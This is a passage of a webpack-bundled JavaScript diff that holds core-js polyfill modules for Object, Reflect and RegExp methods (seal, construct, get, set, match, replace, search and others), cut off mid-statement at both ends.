__webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('preventExtensions', function ($preventExtensions) { + return function preventExtensions(it) { + return $preventExtensions && isObject(it) ? $preventExtensions(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.seal.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.seal.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.2.17 Object.seal(O) +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var meta = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").onFreeze; + +__webpack_require__(/*! ./_object-sap */ "./node_modules/core-js/modules/_object-sap.js")('seal', function ($seal) { + return function seal(it) { + return $seal && isObject(it) ? $seal(meta(it)) : it; + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.set-prototype-of.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.set-prototype-of.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 19.1.3.19 Object.setPrototypeOf(O, proto) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +$export($export.S, 'Object', { setPrototypeOf: __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js").set }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.object.to-string.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.object.to-string.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 19.1.3.6 Object.prototype.toString() +var classof = __webpack_require__(/*! ./_classof */ "./node_modules/core-js/modules/_classof.js"); +var test = {}; +test[__webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('toStringTag')] = 'z'; +if (test + '' != '[object z]') { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(Object.prototype, 'toString', function toString() { + return '[object ' + classof(this) + ']'; + }, true); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.parse-float.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.parse-float.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseFloat = __webpack_require__(/*! ./_parse-float */ "./node_modules/core-js/modules/_parse-float.js"); +// 18.2.4 parseFloat(string) +$export($export.G + $export.F * (parseFloat != $parseFloat), { parseFloat: $parseFloat }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.parse-int.js": +/*!*******************************************************!*\ + !*** ./node_modules/core-js/modules/es6.parse-int.js ***! + \*******************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $parseInt = __webpack_require__(/*! ./_parse-int */ "./node_modules/core-js/modules/_parse-int.js"); +// 18.2.5 parseInt(string, radix) +$export($export.G + $export.F * (parseInt != $parseInt), { parseInt: $parseInt }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.apply.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.apply.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.1 Reflect.apply(target, thisArgument, argumentsList) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var rApply = (__webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect || {}).apply; +var fApply = Function.apply; +// MS Edge argumentsList argument is optional +$export($export.S + $export.F * !__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + rApply(function () { /* empty */ }); +}), 'Reflect', { + apply: function apply(target, thisArgument, argumentsList) { + var T = aFunction(target); + var L = anObject(argumentsList); + return rApply ? rApply(T, thisArgument, L) : fApply.call(T, thisArgument, L); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.construct.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.construct.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.2 Reflect.construct(target, argumentsList [, newTarget]) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var aFunction = __webpack_require__(/*! ./_a-function */ "./node_modules/core-js/modules/_a-function.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var bind = __webpack_require__(/*! ./_bind */ "./node_modules/core-js/modules/_bind.js"); +var rConstruct = (__webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js").Reflect || {}).construct; + +// MS Edge supports only 2 arguments and argumentsList argument is optional +// FF Nightly sets third argument as `new.target`, but does not create `this` from it +var NEW_TARGET_BUG = fails(function () { + function F() { /* empty */ } + return !(rConstruct(function () { /* empty */ }, [], F) instanceof F); +}); +var ARGS_BUG = !fails(function () { + rConstruct(function () { /* empty */ }); +}); + +$export($export.S + $export.F * (NEW_TARGET_BUG || ARGS_BUG), 'Reflect', { + construct: function construct(Target, args /* , newTarget */) { + aFunction(Target); + anObject(args); + var newTarget = arguments.length < 3 ? Target : aFunction(arguments[2]); + if (ARGS_BUG && !NEW_TARGET_BUG) return rConstruct(Target, args, newTarget); + if (Target == newTarget) { + // w/o altered newTarget, optimization for 0-4 arguments + switch (args.length) { + case 0: return new Target(); + case 1: return new Target(args[0]); + case 2: return new Target(args[0], args[1]); + case 3: return new Target(args[0], args[1], args[2]); + case 4: return new Target(args[0], args[1], args[2], args[3]); + } + // w/o altered newTarget, lot of arguments case + var $args = [null]; + $args.push.apply($args, args); + return new (bind.apply(Target, $args))(); + } + // with altered newTarget, not support built-in constructors + var proto = newTarget.prototype; + var instance = create(isObject(proto) ? proto : Object.prototype); + var result = Function.apply.call(Target, instance, args); + return isObject(result) ? result : instance; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.define-property.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.define-property.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.3 Reflect.defineProperty(target, propertyKey, attributes) +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); + +// MS Edge has broken Reflect.defineProperty - throwing instead of returning false +$export($export.S + $export.F * __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + // eslint-disable-next-line no-undef + Reflect.defineProperty(dP.f({}, 1, { value: 1 }), 1, { value: 2 }); +}), 'Reflect', { + defineProperty: function defineProperty(target, propertyKey, attributes) { + anObject(target); + propertyKey = toPrimitive(propertyKey, true); + anObject(attributes); + try { + dP.f(target, propertyKey, attributes); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.delete-property.js": +/*!*********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.delete-property.js ***! + \*********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.4 Reflect.deleteProperty(target, propertyKey) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js").f; +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + deleteProperty: function deleteProperty(target, propertyKey) { + var desc = gOPD(anObject(target), propertyKey); + return desc && !desc.configurable ? false : delete target[propertyKey]; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.enumerate.js": +/*!***************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.enumerate.js ***! + \***************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 26.1.5 Reflect.enumerate(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var Enumerate = function (iterated) { + this._t = anObject(iterated); // target + this._i = 0; // next index + var keys = this._k = []; // keys + var key; + for (key in iterated) keys.push(key); +}; +__webpack_require__(/*! ./_iter-create */ "./node_modules/core-js/modules/_iter-create.js")(Enumerate, 'Object', function () { + var that = this; + var keys = that._k; + var key; + do { + if (that._i >= keys.length) return { value: undefined, done: true }; + } while (!((key = keys[that._i++]) in that._t)); + return { value: key, done: false }; +}); + +$export($export.S, 'Reflect', { + enumerate: function enumerate(target) { + return new Enumerate(target); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get-own-property-descriptor.js": +/*!*********************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get-own-property-descriptor.js ***! + \*********************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.7 Reflect.getOwnPropertyDescriptor(target, propertyKey) +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + getOwnPropertyDescriptor: function getOwnPropertyDescriptor(target, propertyKey) { + return gOPD.f(anObject(target), propertyKey); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get-prototype-of.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get-prototype-of.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.8 Reflect.getPrototypeOf(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var getProto = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +$export($export.S, 'Reflect', { + getPrototypeOf: function getPrototypeOf(target) { + return getProto(anObject(target)); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.get.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.get.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.6 Reflect.get(target, propertyKey [, receiver]) +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); + +function get(target, propertyKey /* , receiver */) { + var receiver = arguments.length < 3 ? target : arguments[2]; + var desc, proto; + if (anObject(target) === receiver) return target[propertyKey]; + if (desc = gOPD.f(target, propertyKey)) return has(desc, 'value') + ? desc.value + : desc.get !== undefined + ? desc.get.call(receiver) + : undefined; + if (isObject(proto = getPrototypeOf(target))) return get(proto, propertyKey, receiver); +} + +$export($export.S, 'Reflect', { get: get }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.has.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.has.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.9 Reflect.has(target, propertyKey) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Reflect', { + has: function has(target, propertyKey) { + return propertyKey in target; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.is-extensible.js": +/*!*******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.is-extensible.js ***! + \*******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.10 Reflect.isExtensible(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $isExtensible = Object.isExtensible; + +$export($export.S, 'Reflect', { + isExtensible: function isExtensible(target) { + anObject(target); + return $isExtensible ? $isExtensible(target) : true; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.own-keys.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.own-keys.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.11 Reflect.ownKeys(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.S, 'Reflect', { ownKeys: __webpack_require__(/*! ./_own-keys */ "./node_modules/core-js/modules/_own-keys.js") }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.prevent-extensions.js": +/*!************************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.prevent-extensions.js ***! + \************************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.12 Reflect.preventExtensions(target) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $preventExtensions = Object.preventExtensions; + +$export($export.S, 'Reflect', { + preventExtensions: function preventExtensions(target) { + anObject(target); + try { + if ($preventExtensions) $preventExtensions(target); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.set-prototype-of.js": +/*!**********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.set-prototype-of.js ***! + \**********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.14 Reflect.setPrototypeOf(target, proto) +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var setProto = __webpack_require__(/*! ./_set-proto */ "./node_modules/core-js/modules/_set-proto.js"); + +if (setProto) $export($export.S, 'Reflect', { + setPrototypeOf: function setPrototypeOf(target, proto) { + setProto.check(target, proto); + try { + setProto.set(target, proto); + return true; + } catch (e) { + return false; + } + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.reflect.set.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.reflect.set.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 26.1.13 Reflect.set(target, propertyKey, V [, receiver]) +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var gOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var getPrototypeOf = __webpack_require__(/*! ./_object-gpo */ "./node_modules/core-js/modules/_object-gpo.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); + +function set(target, propertyKey, V /* , receiver */) { + var receiver = arguments.length < 4 ? target : arguments[3]; + var ownDesc = gOPD.f(anObject(target), propertyKey); + var existingDescriptor, proto; + if (!ownDesc) { + if (isObject(proto = getPrototypeOf(target))) { + return set(proto, propertyKey, V, receiver); + } + ownDesc = createDesc(0); + } + if (has(ownDesc, 'value')) { + if (ownDesc.writable === false || !isObject(receiver)) return false; + if (existingDescriptor = gOPD.f(receiver, propertyKey)) { + if (existingDescriptor.get || existingDescriptor.set || existingDescriptor.writable === false) return false; + existingDescriptor.value = V; + dP.f(receiver, propertyKey, existingDescriptor); + } else dP.f(receiver, propertyKey, createDesc(0, V)); + return true; + } + return ownDesc.set === undefined ? false : (ownDesc.set.call(receiver, V), true); +} + +$export($export.S, 'Reflect', { set: set }); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.constructor.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.constructor.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var inheritIfRequired = __webpack_require__(/*! ./_inherit-if-required */ "./node_modules/core-js/modules/_inherit-if-required.js"); +var dP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f; +var gOPN = __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f; +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var $flags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); +var $RegExp = global.RegExp; +var Base = $RegExp; +var proto = $RegExp.prototype; +var re1 = /a/g; +var re2 = /a/g; +// "new" creates a new object, old webkit buggy here +var CORRECT_NEW = new $RegExp(re1) !== re1; + +if (__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && (!CORRECT_NEW || __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { + re2[__webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js")('match')] = false; + // RegExp constructor can alter flags and IsRegExp works correct with @@match + return $RegExp(re1) != re1 || $RegExp(re2) == re2 || $RegExp(re1, 'i') != '/a/i'; +}))) { + $RegExp = function RegExp(p, f) { + var tiRE = this instanceof $RegExp; + var piRE = isRegExp(p); + var fiU = f === undefined; + return !tiRE && piRE && p.constructor === $RegExp && fiU ? p + : inheritIfRequired(CORRECT_NEW + ? new Base(piRE && !fiU ? p.source : p, f) + : Base((piRE = p instanceof $RegExp) ? p.source : p, piRE && fiU ? $flags.call(p) : f) + , tiRE ? this : proto, $RegExp); + }; + var proxy = function (key) { + key in $RegExp || dP($RegExp, key, { + configurable: true, + get: function () { return Base[key]; }, + set: function (it) { Base[key] = it; } + }); + }; + for (var keys = gOPN(Base), i = 0; keys.length > i;) proxy(keys[i++]); + proto.constructor = $RegExp; + $RegExp.prototype = proto; + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(global, 'RegExp', $RegExp); +} + +__webpack_require__(/*! ./_set-species */ "./node_modules/core-js/modules/_set-species.js")('RegExp'); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.exec.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.exec.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); +__webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js")({ + target: 'RegExp', + proto: true, + forced: regexpExec !== /./.exec +}, { + exec: regexpExec +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.flags.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.flags.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +// 21.2.5.3 get RegExp.prototype.flags() +if (__webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js") && /./g.flags != 'g') __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js").f(RegExp.prototype, 'flags', { + configurable: true, + get: __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js") +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.match.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.match.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); + +// @@match logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('match', 1, function (defined, MATCH, $match, maybeCallNative) { + return [ + // `String.prototype.match` method + // https://tc39.github.io/ecma262/#sec-string.prototype.match + function match(regexp) { + var O = defined(this); + var fn = regexp == undefined ? undefined : regexp[MATCH]; + return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[MATCH](String(O)); + }, + // `RegExp.prototype[@@match]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@match + function (regexp) { + var res = maybeCallNative($match, regexp, this); + if (res.done) return res.value; + var rx = anObject(regexp); + var S = String(this); + if (!rx.global) return regExpExec(rx, S); + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + var A = []; + var n = 0; + var result; + while ((result = regExpExec(rx, S)) !== null) { + var matchStr = String(result[0]); + A[n] = matchStr; + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + n++; + } + return n === 0 ? null : A; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.replace.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.replace.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var toInteger = __webpack_require__(/*! ./_to-integer */ "./node_modules/core-js/modules/_to-integer.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); +var max = Math.max; +var min = Math.min; +var floor = Math.floor; +var SUBSTITUTION_SYMBOLS = /\$([$&`']|\d\d?|<[^>]*>)/g; +var SUBSTITUTION_SYMBOLS_NO_NAMED = /\$([$&`']|\d\d?)/g; + +var maybeToString = function (it) { + return it === undefined ? it : String(it); +}; + +// @@replace logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('replace', 2, function (defined, REPLACE, $replace, maybeCallNative) { + return [ + // `String.prototype.replace` method + // https://tc39.github.io/ecma262/#sec-string.prototype.replace + function replace(searchValue, replaceValue) { + var O = defined(this); + var fn = searchValue == undefined ? undefined : searchValue[REPLACE]; + return fn !== undefined + ? fn.call(searchValue, O, replaceValue) + : $replace.call(String(O), searchValue, replaceValue); + }, + // `RegExp.prototype[@@replace]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@replace + function (regexp, replaceValue) { + var res = maybeCallNative($replace, regexp, this, replaceValue); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + var functionalReplace = typeof replaceValue === 'function'; + if (!functionalReplace) replaceValue = String(replaceValue); + var global = rx.global; + if (global) { + var fullUnicode = rx.unicode; + rx.lastIndex = 0; + } + var results = []; + while (true) { + var result = regExpExec(rx, S); + if (result === null) break; + results.push(result); + if (!global) break; + var matchStr = String(result[0]); + if (matchStr === '') rx.lastIndex = advanceStringIndex(S, toLength(rx.lastIndex), fullUnicode); + } + var accumulatedResult = ''; + var nextSourcePosition = 0; + for (var i = 0; i < results.length; i++) { + result = results[i]; + var matched = String(result[0]); + var position = max(min(toInteger(result.index), S.length), 0); + var captures = []; + // NOTE: This is equivalent to + // captures = result.slice(1).map(maybeToString) + // but for some reason `nativeSlice.call(result, 1, result.length)` (called in + // the slice polyfill when slicing native arrays) "doesn't work" in safari 9 and + // causes a crash (https://pastebin.com/N21QzeQA) when trying to debug it. + for (var j = 1; j < result.length; j++) captures.push(maybeToString(result[j])); + var namedCaptures = result.groups; + if (functionalReplace) { + var replacerArgs = [matched].concat(captures, position, S); + if (namedCaptures !== undefined) replacerArgs.push(namedCaptures); + var replacement = String(replaceValue.apply(undefined, replacerArgs)); + } else { + replacement = getSubstitution(matched, S, position, captures, namedCaptures, replaceValue); + } + if (position >= nextSourcePosition) { + accumulatedResult += S.slice(nextSourcePosition, position) + replacement; + nextSourcePosition = position + matched.length; + } + } + return accumulatedResult + S.slice(nextSourcePosition); + } + ]; + + // https://tc39.github.io/ecma262/#sec-getsubstitution + function getSubstitution(matched, str, position, captures, namedCaptures, replacement) { + var tailPos = position + matched.length; + var m = captures.length; + var symbols = SUBSTITUTION_SYMBOLS_NO_NAMED; + if (namedCaptures !== undefined) { + namedCaptures = toObject(namedCaptures); + symbols = SUBSTITUTION_SYMBOLS; + } + return $replace.call(replacement, symbols, function (match, ch) { + var capture; + switch (ch.charAt(0)) { + case '$': return '$'; + case '&': return matched; + case '`': return str.slice(0, position); + case "'": return str.slice(tailPos); + case '<': + capture = namedCaptures[ch.slice(1, -1)]; + break; + default: // \d\d? + var n = +ch; + if (n === 0) return match; + if (n > m) { + var f = floor(n / 10); + if (f === 0) return match; + if (f <= m) return captures[f - 1] === undefined ? ch.charAt(1) : captures[f - 1] + ch.charAt(1); + return match; + } + capture = captures[n - 1]; + } + return capture === undefined ? '' : capture; + }); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.search.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.search.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var sameValue = __webpack_require__(/*! ./_same-value */ "./node_modules/core-js/modules/_same-value.js"); +var regExpExec = __webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); + +// @@search logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('search', 1, function (defined, SEARCH, $search, maybeCallNative) { + return [ + // `String.prototype.search` method + // https://tc39.github.io/ecma262/#sec-string.prototype.search + function search(regexp) { + var O = defined(this); + var fn = regexp == undefined ? undefined : regexp[SEARCH]; + return fn !== undefined ? fn.call(regexp, O) : new RegExp(regexp)[SEARCH](String(O)); + }, + // `RegExp.prototype[@@search]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@search + function (regexp) { + var res = maybeCallNative($search, regexp, this); + if (res.done) return res.value; + var rx = anObject(regexp); + var S = String(this); + var previousLastIndex = rx.lastIndex; + if (!sameValue(previousLastIndex, 0)) rx.lastIndex = 0; + var result = regExpExec(rx, S); + if (!sameValue(rx.lastIndex, previousLastIndex)) rx.lastIndex = previousLastIndex; + return result === null ? -1 : result.index; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.split.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.split.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isRegExp = __webpack_require__(/*! ./_is-regexp */ "./node_modules/core-js/modules/_is-regexp.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var speciesConstructor = __webpack_require__(/*! ./_species-constructor */ "./node_modules/core-js/modules/_species-constructor.js"); +var advanceStringIndex = __webpack_require__(/*! ./_advance-string-index */ "./node_modules/core-js/modules/_advance-string-index.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var callRegExpExec = 